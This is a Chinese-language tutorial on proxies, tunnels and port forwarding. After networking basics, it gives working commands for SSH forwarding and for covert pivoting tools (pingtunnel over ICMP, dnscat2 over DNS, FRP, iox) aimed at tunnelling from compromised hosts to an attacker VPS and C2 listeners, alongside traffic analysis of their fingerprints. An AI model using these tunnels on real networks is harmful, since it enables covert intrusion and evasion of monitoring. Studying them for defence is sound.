网络代理与转发
基本区别
-
代理:顾名思义,即代替处理,用户将请求提交给代理服务器,代理服务器以自己名义代替用户向目标服务器发送请求,目标服务器响应后,代理再将响应转发回给用户,目标服务器只能看到代理。从其工作逻辑可知,代理通常需要理解数据包的内容,至少要知道用户访问的是哪个网站。代理又分为正向代理和反向代理,这些将在本文后续章节介绍。
-
隧道:用于建立起数据传输的虚拟通道,可以做到跨网段通信,穿透内网。隧道的两端是提前预设好的,暂时可以先简单的将隧道两端理解为两个代理服务器,以VPN为例,VPN客户端是用户和VPN服务器之间的代理,而VPN服务器则是VPN客户端和目标服务器之间的代理,最终实现用户与目标的互通。但是与代理不同的是,隧道不关心数据包的内容,对于要发送给目标的所有数据包都会进行封装,在原始数据包IP层之上添加新的IP头,对于目标服务器来说,它只看到了隧道出口端点,而不知道原始请求来自隧道的另一头。
-
转发:把访问端口A的流量转发到端口B上,然后还要把端口B的响应转发到端口A,端口AB可以在同一台机器上,也可以在不同机器上。端口转发是静态的,一对一的,相较于代理和隧道,它是“死板”的。在转发过程中,不会改变数据结构,只改变流量的目的地。
-
下表是一般情况下这三者的区别
特性 转发 代理 隧道 工作层级 传输层 (L4) 居多 应用层 (L7) 居多 多层(常见 L3/L4/L7 封装) 透明度 较高,不改变数据包内容 较低,常会修改 Header 高,数据包被整体打包 主要目的 改变路径、穿透内网 身份隐藏、缓存、过滤 跨网段通信、加密、协议穿透
实际应用中,这三种技术往往嵌套使用,比如:通过 SSH 隧道(隧道)建立了一个 SOCKS5 代理(代理),然后把本地的 8080 端口转发(转发)到了远程服务器。一般不对它们做十分明确的区分
基础知识
-
七层网络模型:通常被称为OSI模型,这是一个概念性框架,它将网络通信过程划分为七个不同的层次,每一层都建立在前一层的功能之上,并为上一层提供服务。这种分层结构有助于标准化网络协议,使得不同厂商的硬件和软件能够相互操作。从底层到顶层,这七层分别是:物理层负责比特流的传输、数据链路层处理帧的传输和错误检测、网络层负责数据包的路由和逻辑寻址、传输层提供端到端的连接和数据传输的可靠性、会话层管理应用程序之间的会话、表示层处理数据的格式、加密和压缩以及应用层为用户提供网络服务接口,例如电子邮件和网页浏览。每一层都只与其直接相邻的上下两层进行通信,这种模块化的设计使得故障排除和系统升级变得更加容易。在这个模型结构中,通信双方对应相同层才能理解的数据格式被叫做协议,而要理解网络代理最重要的就是协议,不过我们最低也就只需要了解到网络层的协议即可。
-
在实际的网络环境中,一般把最上面三层,也就是应用层、表示层、会话层,统一归为应用层。这样便于理解,其中这五层里面涉及网络代理和转发的层的,主要有网络层,传输层和应用层三层,网络层最主要的就是IP协议,以及ICMP协议,ICMP是用来判断网络连通性的,也用来返回数据包传输情况。传输层最主要的是TCP和UDP两个协议,它们一个是面向连接的,一个是无连接的。到最上层应用层,它的协议是最多的,主要了解HTTP、TLS、DNS还有SSH这些。当然还有一个介于传输层和应用层之间的协议,SOCKS,这是一个在网络代理中很重要的协议。
-
网络层:在代理中,重点要关注的是IP数据包头部的源IP地址和目的IP地址,这两个地址在代理过程中并不是一成不变的。以下图为例,在代理的过程中往往是存在一个第三方,简单来说就是你想和一个你自己不可达的主机通信,就需要先将这个数据包发给同时连接你自己的网络和对方网络的主机。在这幅图中,10.0.0.0/24网段的客户端要访问20网段的服务器,但是由于这是两个网段,所以网络不可达,这时候有一个代理服务器具有两个网卡,同时连接两个网段,那么客户端就可以通过代理服务器访问到目标服务器。这个过程中IP数据包的变化如下,首先客户端一开始发送的数据包的源IP是10.0.0.2,因为他想通过代理去访问目标服务器,所以目的IP地址就是代理服务器在10网段的网卡IP,即10.0.0.1,当代理服务器收到以后,会去解析IP数据包的数据部分,也就是IP层封装的内容,这里面可能是一个TCP包、UDP包甚至可以是一个新的IP数据包,这里面的内容一定会包含指向目标服务器的信息,然后代理服务器会根据这些信息重建一个IP数据包,这个数据包的源IP就是代理服务器在20网段的网卡的IP,即20.0.0.1,目的IP是目标服务器的IP。这样代理的正向过程就完成了,随后目标服务器会给代理服务器发响应,然后同理,代理服务器会修改IP头将响应转发给客户机。
-
NAT:NAT的效果与代理存在一定的相似,但是本质上是不同的,NAT直接由网关处理,对于用户是透明无感知的,并且不会处理上层协议数据,而代理则需要用户进行复杂配置,并且可以对上层数据解析处理
-
SNAT:即内网数据包经过路由器出网时,为了确保能够正确收到响应,路由器会对IP数据包的头部进行修改,将其中的原来的源地址(私有地址)转换为公网地址
-
DNAT:当响应数据包或访问内网服务器的数据包要入站时,为了确保数据包能够到达仅有私有地址的内网主机,路由器对目的地址进行转换,将目的地址的公网IP转换为内网IP
若需要将内网服务暴露在公网中,需要配置静态DNAT,或者条件DNAT,例如路由器具有公网地址198.51.100.60,配置公网地址的80端口固定的或有条件的映射到内网10.1.1.101的80端口,此时可以从公网环境中访问192.51.100.60:80从而访问到内网服务。在内网渗透过程中如果拥有了路由器控制权,可利用条件DNAT进行内网穿透。
-
-
传输层:代理相关的两个主要协议,TCP面向连接,连接主要由确认重传机制保证,并且使用滑动窗口方式进行拥塞控制,UDP无连接,即只管发送,而不关心对方是否收到,也没有重传机制。
-
TCP代理:TCP代理是一种中间层服务,它在客户端和目标服务器之间建立两个TCP连接,一个用于客户端与代理服务器之间的通信,另一个用于代理服务器与目标服务器之间的通信。数据在两个连接之间转发。
-
UDP代理:UDP代理与TCP代理类似,它的优势在于无连接,传输延迟低,吞吐量高。
-
TCP/UDP隧道:是一种更高级的技术,用于封装和转发数据。它通过在一种协议(如TCP)中封装另一种协议的数据,被封装的协议的层次可高可低,例如IP数据包、UDP数据包、TCP数据包以及更高层的HTTP数据包等,从而实现数据的安全传输或绕过网络限制。
*TCP over TCP:当使用TCP封装另一个TCP数据包时,会出现TCP over TCP,也就是当数据包丢失时,外层TCP和内层TCP*协议都会触发重传机制,从而浪费网络资源,降低性能。
-
-
应用层:应用层是网络协议栈的最高层,直接面向用户和应用程序,提供各种网络服务。常见的应用层协议包括HTTP、FTP、SMTP、POP3、DNS、Telnet和SSH。应用层协议通过TCP或UDP提供的可靠或无连接传输服务,实现文件传输、网页浏览、电子邮件、域名解析等功能,是现代网络通信的核心组成部分,也是直观上接触最多的协议。这些协议很多都可以用作代理和隧道,它们在流量上体现出表层是代理所用到的协议,比如HTTP,抓包时表面上看到的是HTTP数据包,而实际IP层的目的地址指向的是代理服务器,代理服务器会解析HTTP数据的host部分,然后把请求发到真实的HTTP服务器,隧道是在外层协议里面封装真实协议数据,也就是实际的负载部分可能是其他协议数据,这些数据可以是加密的,也有可能是明文,这取决于代理程序的行为。
代理
正反向代理
-
正向代理:一个位于客户端和目标服务器之间的服务器,为了从目标服务器取得内容,客户端向代理发送一个请求并指定目标(目标服务器),然后代理向目标服务器转交请求并将获得的内容返回给客户端。客户端才能使用正向代理。对于目标服务器而言,它只能看到代理节点而不知道真实的用户,即正向代理隐藏客户端。
-
反向代理:当网络环境配置了反向代理时,客户端发的请求所指向的目的主机其实是代理节点,然后代理节点在收到请求后,它会根据请求的内容,如不同的域名、不同的协议等,然后将这些数据包再转发给后端的特定服务器,在这个过程中客户端不知道后端服务器具体的分布,客户端认为访问的代理节点就是真实要访问的目标服务器。即反向代理隐藏服务器。
HTTP(S)代理
-
HTTP代理并没有像底层协议一样的标准,它的实现方式多种多样,主要可以分为以下几类
- 透明代理:是匿名性最低的代理类型,它不会对客户端的请求进行修改,目标服务器可以清楚地从请求头的一些字段中识别出客户端的真实IP地址。在HTTP请求头中,目标服务器会看到REMOTE_ADDR = 代理服务器IP、HTTP_VIA = 代理服务器IP、HTTP_X_FORWARDED_FOR = 客户端的真实IP的信息。
- 高匿代理:也称为精英代理,是匿名性最高的代理类型,在HTTP请求头中,REMOTE_ADDR显示代理服务器的IP地址,但不会显示HTTP_VIA和HTTP_X_FORWARDED_FOR等字段。这种代理不会再请求头中暴露客户端任何信息,从而让目标服务器无法识别出客户端是否使用了代理。
- 加密代理:是指在代理服务器和客户端之间建立加密连接的代理类型,这种方式可以防止数据传输过程中被窃取或篡改。常见的加密协议包括SSL/TLS等。
- 混淆代理:是一种通过修改请求和响应数据的格式或内容,使目标服务器难以识别代理行为的代理类型,具体方法是通过改变数据编码方式,添加或删除某些字段等方式来混淆请求和响应,但是这种方式可能会导致请求失败,因为有些网站可能依赖于特定的数据格式。
-
由于HTTP报头是明文的,代理服务器可以直接理解其中Host字段内容,所以能够正确地将数据包转发至目的服务器,如果Host内容为域名,则代理服务器会对其进行DNS解析。
-
HTTPS代理是基于TLS的,其报头及内容都是加密的,这有效地提高了安全性,但是也让代理服务器无法理解真实地目的地。所以当浏览器或系统判断HTTPS数据包要被代理时,会先向代理服务器发送一个CONNECT请求,其中就包括明文形式的或者仅代理服务器和客户端可以解密的数据,其内容是告诉代理服务器真实要访问的目的服务器,随后,代理服务器会与目的服务器的443端口建立连接,建立完成后,代理服务器会向客户端发送一个连接就绪报文,就是告诉客户端此时安全通道已经建立,可以发送后续数据了,然后客户端通过这个通道和真实服务器进行TLS握手,交换密钥完成以后会将加密的HTTPS数据发送给代理服务器,这时的代理服务器虽然无法解密通信内容,但是已经提前建立好了正确的通道,只需要将HTTPS数据再经过TCP和IP层封装发送给目的服务器即可,这就是整个HTTPS代理的过程。
Socks协议
-
SOCKS(Socket Secure)位于 OSI 模型中的会话层(第 5 层)。它的特殊之处在于它非常“纯粹”:它只负责建立连接和转发数据包,而不关心应用层跑的是什么协议,与 HTTP 代理(只能处理网页请求)不同,SOCKS 代理可以转发 HTTP、FTP、SMTP(邮件)、甚至是各种游戏流量。
-
目前常见地SOCKS协议有两个版本,即SOCKS4和SOCKS5
特性 SOCKS4 SOCKS5 (当前主流) 支持协议 仅支持 TCP 支持 TCP 和 UDP 身份验证 不支持 支持(可以设置用户名和密码) 域名解析 客户端解析(容易产生 DNS 污染) 支持远程解析(更安全、防污染) IPv6 不支持 支持 -
SOCKS代理TCP流量时的工作流程与HTTPS代理类似,但是它多了一项可选的身份验证环节,不过需要注意的是SOCKS协议本身是明文协议。SOCKS代理UDP流量时,为了保留UDP低延迟的优点,不会将原始UDP数据封装到TCP中进行传输,但又由于UDP无连接的特性,代理服务器需要长时间开启一个UDP端口用于监听客户端发来的数据,但长时间的暴露端口会降低安全性并浪费性能,所以客户端和代理服务器之间需要用TCP控制UDP端口开启和关闭,当TCP连接断开时,代理服务器会立即释放对应的UDP端口,因此代理过程中要确保客户端与代理服务器的连接不断开;所以可以理解为socks代理UDP流量时,控制信令(TCP通道)和真正的数据传输(UDP通道)是双线并行的,在真正的UDP数据传输时,客户端发往代理服务器的每个UDP数据包都会被再封装一个SOCKS5 Header,该头被放置在UDP 数据负载(Payload)的首部,其中包含了真实的最终目标服务器的地址与端口,
[IP Header] + [UDP Header] + [ (SOCKS5 Header) + (原始数据) ]。 -
基于web的socks:很多防火墙会识别socks5流量并封锁,将socks协议的数据包封装在HTTP、HTTPS、Websocket的数据帧中,伪装成web流量可以绕过防火墙识别从而放行。
-
需要注意的是基于web的socks 和 Websocket不同
维度 WebSocket (协议本身) 基于 Web 的 SOCKS (隧道) 层级 应用层协议,旨在提供全双工通信。 一种包装技术。 内容 通常是 JSON、二进制流或自定义消息。 里面嵌套了完整的 SOCKS5 数据包。 防火墙视角 看到的是标准的 HTTP 升级(Upgrade)请求。 同样看到的是标准的 Web 应用流量,难以发现猫腻。 逻辑本质 “我要和服务器聊天。” “我借用聊天通道来搬运 SOCKS 货物。”
转发
SSH端口转发
-
动态端口转发:-D参数
ssh -qTfnND 0.0.0.0:1080 root@localhost # -D 动态端口转发(SOCKS 代理) # -q:安静模式 -T:禁用伪终端分配 -f:认证成功后进入后台运行 -n:重定向标准输入到 /dev/null -N:不执行远程命令(只做端口转发) # 0.0.0.0:1080 监听在所有接口的 1080 端口 # root@localhost 连接本机的 SSH 服务(此处应当连接远程SSH服务,可暂时将该案例此处的本机理解为远程主机) # 作用:与远程主机SSH连接建立隧道,监听本机所有接口的1080端口,将监听到的数据包通过SSH隧道转发给远程主机22端口,由远程主机进行SOCKS代理 -
远程转发:-R参数
ssh -qTfnN -R 0.0.0.0:18080:0.0.0.0:8080 [email protected]-R参数后面跟了一长串,其实就是两组IP和端口,然后是root@远程地址。首先第一组的0.0.0.0:18080的意思是开启远程主机的18080端口的监听,并且允许从它的所有网络接口去访问18080,访问的数据会通过SSH隧道转发到第二组的0.0.0.0:8080,即本地8080端口。注意:-R参数时,第一组地址只能是远程主机,第二组地址不必须是本机,只要是本机能够访问到的主机皆可。
效果:通过访问远程的18080就相当于访问到了所指定的本地的8080端口

-
本地转发:-L参数
ssh -qTfnN -L 0.0.0.0:8080:0.0.0.0:18080 [email protected]注意:-L参数时,第一组地址和端口只能是运行SSH程序的本机,但第二组可以是远程主机可访问到的任意主机
效果:通过访问本地的8080端口就相当于访问到了所指定的远程的18080。
SSH 使用-R和-L参数时,后面都需要跟 IP1:端口1:IP2:端口2 ;这很容易混淆
不论-R还是-L参数,都可以理解为
[监听地址:]监听端口:目标地址:目标端口,其中监听地址为可选字段,省略时等价于127.0.0.1-R时,第一组为远程地址,-L时,第一组为本机地址。
总结如下
- 第一组:控制"门"开在哪、开给谁看
- 省略/127.0.0.1:只给自己看
- 0.0.0.0:给所有人看(
-R需要服务端配合)- 具体IP:只给走这个门牌号的人看
- 第二组:控制"门"后面连到谁
- 在
-L中:这个目标由远程去连接- 在
-R中:这个目标由本地去连接
特殊隧道
ICMP隧道/pingtunnel工具
🔗esrrhs/pingtunnel: Pingtunnel is a tool that send TCP/UDP traffic over ICMP
-
ICMP协议是可以带载荷的,可以利用这部分实现信息传递,抓个包就能发现,如果用Windows去ping的话,这个数据包的载荷就是26个英文字母循环,一共是32个字符,Linux的载荷部分就是特殊字符加数字,都是很有规律的。
Windows默认 Data 部分为abcdefghijklmnopqrstuvwabcdefghi

-
pingtunnel是把 TCP/UDP/sock5 流量伪装成 icmp 流量进行转发的工具,但大量或大尺寸的ICMP包可能仍会被防火墙或监控设备发现,且传输速度相对TCP较慢,适合做备用隧道或穿透严格防火墙,不适合传大文件。使用该工具需要有root/administrator权限。
-
在运行服务端或客户端前,建议禁用系统自带的 ICMP 回显,否则系统内核和 pingtunnel 会同时抢占 ICMP 回复,导致隧道极其不稳定。
- 操作:
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
- 操作:
-
工具具有服务端和客户端两种模式,其中客户端又具有socks代理和端口转发两种工作模式。
-
服务端:运行在公网VPS上,用于监听ICMP流量,并进行拆包解析。
-
客户端:
Socks代理模式:通过ICMP形成一个出网代理,各类客户端可通过socks5代理上线
端口转发模式:通过ICMP将公网端口转发至被控机本地(例如FRP/NPS的监听端口,或者CS的监听端口),从而实现被控机上线
- 无论哪种模式,pingtunnel均不会将流量加密,虽然提供key参数,但该参数为客户端与服务端认证使用,功能类似于token,并不是为数据加密解密,可以将其他隧道与pingtunnel结合使用
-
-
用法
- 服务端(Server)的典型启动命令:
# 在VPS上运行,监听ICMP流量,密码可选 sudo ./pingtunnel -type server -key "password"- Socks5代理模式:
# 在已控主机上执行 # 将VPS(11.22.33.44)的ICMP流量转为本地Socks5代理(监听本地8888端口) sudo ./pingtunnel -type client -l :8888 -s 11.22.33.44 -sock5 -key "password"-
用法:被控主机设置代理
127.0.0.1:8888,即可通过ICMP隧道访问外网;如果服务端运行在被控主机,客户端运行在VPS,则攻击机可设置VPS:8888端口代理从而访问内网资源。 -
端口转发模式:
# 在已控主机上执行 # 将VPS(11.22.33.44)上的9999端口,通过ICMP转发到本地的6666端口(比如C2监听的端口) sudo ./pingtunnel -type client -l 127.0.0.1:6666 -s 11.22.33.44 -t 11.22.33.44:9999 -key "password"- 用法: 将发往本地
127.0.0.1:6666的流量,通过隧道送达 VPS 后,转发给VPS的9999端口,被控机设置本地6666端口代理可访问外网;如果服务端运行在被控主机,客户端运行在VPS,则攻击机可设置VPS:6666端口代理从而访问内网资源。
DNS隧道/DNSCAT2工具
-
以下是DNS隧道可能用到的DNS记录类型及其作用
记录类型 记录说明 A记录 地址记录,用来指定域名的IPv4地址(如:8点 8点 8点 8),如果需要将域名指向一个IP地址,就需要添加A记录 CNAME 如果需要将域名指向另一个域名,再由另一个域名提供ip地址,就需要添加CNAME记录 TXT 在这里可以填写任何东西,长度限制255。绝大多数的TXT记录是用来做SPF记录(反垃圾邮件) NS 域名服务器记录,如果需要把子域名交给其他DNS服务商解析,就需要添加NS记录 AAAA 用来指定主机名(或域名)对应的IPv6地址(例如:ff06:0:0:0:0:0:0:c3)记录 -
攻击者通过设置自己域名子域名的NS为自己可控的DNS服务器,此时可以随意在自己的DNS服务器上设置子域名的TXT记录,当攻击者控制被控机请求解析子域名的TXT记录时,攻击者可以返回任意信息(恶意或非恶意),从而建立DNS隧道。
-
如在下图例子中,攻击者他有一个域名叫
hack.xyz,然后他在它的DNS服务商那添加了一条A记录,记录了ns.hack.xyz所在的真实的IPV4地址,还有一条NS记录,是把能够解析test.hack.xyz的DNS服务器指定为ns.hack.xyz,此时攻击者操作受控机去访问test.hack.xyz时需要先向DNS服务器去问它的IP,但受控机的本地DNS服务器不知道怎么解析,就要去问它的上级权威DNS,但是权威也不知道,但是它知道谁能够解析,然后就会根据NS记录去问·ns.hack.xyz,显然这个机器也是攻击者自己掌控的,他就可以决定到底解析到哪里,如果攻击者操作受控机去请求解析test.hack.xyz的txt记录的话,因为txt记录里面可以写任何东西,那就能搭建一个DNS隧道了。 -
DNSCAT2使用实例
- 开启服务端
sudo ruby dnscat2.rb port=5353 --secret=123;secret指的是认证口令,而不是加密密钥。
- 开启客户端
./dnscat --dns server=192.168.119.165,port=5353 --secret=123
- 在服务端session 1会话中开启一个本地8080监听端口,把运行客户端的远程主机192.168.248.128的80端口映射过来,即可通过访问本机8080端口访问到远程主机80端口资源
- 开启服务端
-
DNSCAT2流量分析
通过抓包,可以看到传输的流量都是MDNS数据,因为我们这是在实验环境中,所以看到的协议是MDNS,这个协议一般是局域网内的DNS服务,要是公网的话就能看到流量是DNS协议的,另外,我们可以看到跟踪的UDP流里有明显的dns cat的工具名特征,也就是这个工具它不加密,如果内网中有IDS或者IPS之类的就会直接把这些数据包拦截了。
抓包流量
跟踪UDP流发现工具指纹特征 -
DNS隧道需要注意的问题:仅支持端口转发,且流量未加密;DNS TXT记录作为恶意数据发送内容,受长度限制注定速率缓慢;国内DNS均需要实名,操作有风险
其他工具
FRP
-
FRP是一个使用 go 语言编写的可用于内网穿透的高性能的反向代理应用,支持TCP, UDP,KCP协议,实现了点对点的穿透,同时可自定义心跳,保证连接会话持久稳定。
-
该工具分为两部分,一个客户端,一个服务端。使用时主要是改配置文件(frps.toml和frpc.toml),服务端的配置文件最重要的是填写服务端要绑定的端口、最大连接数、是否TLS加密以及可选的dashboard界面;客户端配置文件中,要填写服务端的IP和其绑定的端口、以及需要代理的目标、需要服务端主机开启的远程监听端口,还能够配置插件,例如socks5代理。
-
在网络安全渗透实践中,需要在公网VPS上运行服务端,要穿透的内网的受控主机上运行客户端。先运行服务端,然后运行客户端,客户端程序会与配置文件中指定的服务端地址建立连接,形成转发隧道,如果客户端配置了端口转发,这时访问VPS的端口(客户端配置文件指定的远程端口)就能访问到内网指定转发到的主机,如果客户端配置了socks5代理,这时在攻击者电脑上设置访问目标内网的流量走公网VPS端口(客户端配置文件指定的远程端口)这条代理,就可以访问到客户端所在的内网。
-
在FRP工具中,服务端配置文件中的
bind_port是服务端监听的端口,供客户端连接;客户端配置文件中remote_port是客户端指定要在VPS上开放的端口 -
FRP流量分析
- 基础配置下捕获VPS与内网主机之间的流量,发现存在一定的指纹,并且数据是明文传输的,可以清晰看到实际要访问的目标和资源,指纹如
version、user、privilege_key等明文 JSON 字段,并可以看到目标是向www.cip.cc发送GET请求。
- 随后修改frp配置文件,添加TLS加密,以及socks5身份认证
- 攻击者设置好代理配置,等服务端和客户端连接好进行请求,再次捕获VPS与内网主机之间的流量,可以看到数据包均为TLS加密流量
- 基础配置下捕获VPS与内网主机之间的流量,发现存在一定的指纹,并且数据是明文传输的,可以清晰看到实际要访问的目标和资源,指纹如
IOX
🔗EddieIvan01/iox: Tool for port forwarding & intranet proxy
-
Iox是一个端口转发 & 内网代理工具,功能类似于lcx/EW,但是比它们更好。它使用-l和-r两个参数即可实现各种代理和端口转发功能,还有可选的流量加密功能。
-
所有的参数都是统一的。
-l/--local意为监听本地端口;-r/--remote意为连接远端主机;-l/--local参数可以指定监听哪个IP。如果只指定了端口,则默认是0.0.0.0:PORT-l 127.0.0.1:9999 -l *127.0.0.1:9999 # 127.0.0.1:9999 -l 9999 -l *9999 # 0.0.0.0:9999 -
工作模式
- 端口转发:fwd
监听
0.0.0.0:8888和0.0.0.0:9999,将两个连接间的流量转发./iox fwd -l 8888 -l 9999监听
0.0.0.0:8888,把流量转发到1.1.1.1:9999./iox fwd -l 8888 -r 1.1.1.1:9999连接
1.1.1.1:8888和1.1.1.1:9999, 在两个连接间转发./iox fwd -r 1.1.1.1:8888 -r 1.1.1.1:9999- 代理:proxy
在本地
0.0.0.0:1080启动Socks5服务./iox proxy -l 1080在被控机开启Socks5服务,将服务转发到公网VPS(1.1.1.1)
在VPS上转发
0.0.0.0:9999到0.0.0.0:1080你必须将两条命令成对使用,因为它内部包含了一个简单的协议来控制回连
./iox proxy -r 1.1.1.1:9999 ./iox proxy -l 9999 -l 1080 // 注意,这两个端口是有顺序的接着连接内网主机
# proxychains.conf # socks5://1.1.1.1:1080 $ proxychains rdesktop 192.168.0.100:3389- 加密通信:*
把内网3389端口转发到VPS8888端口,并设置加密通信,
*需要成对使用,被控主机和VPS:8888之间的流量会被加密,预共享的密钥是'AAA'// 被控主机 ./iox fwd -r 192.168.0.100:3389 -r *1.1.1.1:8888 -k 656565 // VPS ./iox fwd -l *8888 -l 33890 -k 656565























